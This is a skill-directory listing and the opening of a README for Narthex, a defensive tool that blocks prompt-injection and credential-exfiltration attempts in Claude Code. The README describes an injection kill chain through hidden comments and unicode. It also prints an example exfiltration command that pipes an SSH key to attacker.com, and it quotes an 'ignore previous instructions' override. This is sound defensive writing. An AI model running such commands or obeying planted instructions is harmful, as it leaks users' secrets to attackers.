fitz2882

Narthex — Development skill for Claude Code

Development community

Prompt-injection defenses for Claude Code.

How to install Narthex

This entry records only its repository, not the path inside it, so there is no exact command to give. Open fitz2882/narthex and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What Narthex does

Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to network, remote script to shell, reverse shells). A sanitizing MCP server wraps untrusted URLs and files in sentinels, strips invisible unicode, flags jailbreaks.

Alternatives in Development

  • Om Dump — Freeform capture mode 4.6k ★
  • CORS — Scan an endpoint for CORS misconfiguration — arbitrary-origin reflection, null-origin trust, credential exposu 4.5k ★
  • Academic Pptx Skill — A Claude Skill for creating academic presentations (conference talks, seminar slides, thesis defenses, grant b 811 ★

README

Narthex

Prompt-injection defenses for [Claude Code](https://code.claude.com/).

Named for the architectural feature of ancient churches: a transitional space at the entrance where the uninitiated could gather before being allowed into the sanctuary. Narthex plays the same role between untrusted content (web pages, READMEs, scraped docs, pasted transcripts) and your trusted environment (your shell, your credentials, your files).

What it protects against

Indirect prompt injection — when an AI coding assistant reads content containing hidden instructions that hijack its behavior. The canonical kill chain:

  1. Injection — a hidden HTML comment, zero-width unicode, or markdown image tag planted in a README, PR description, issue, or scraped page.
  2. Hijack — the assistant reads the payload as instructions instead of data.
  3. Exfiltration — the assistant runs a command that leaks your credentials: cat ~/.ssh/id_rsa | curl attacker.com, env dumps, or uploads of .env files.

Recent writeups of the threat:

Design principle

Anything *inside* the model's context can be overridden by an injection sitting in that same context. "Ignore previous instructions" works on guidance, not on enforcement. Only the harness — Claude Code's hooks and permission system — runs *outside* the model and can enforce rules that an injected prompt cannot talk its way out of.

Narthex therefore ships four layers — two enforcement, two adviso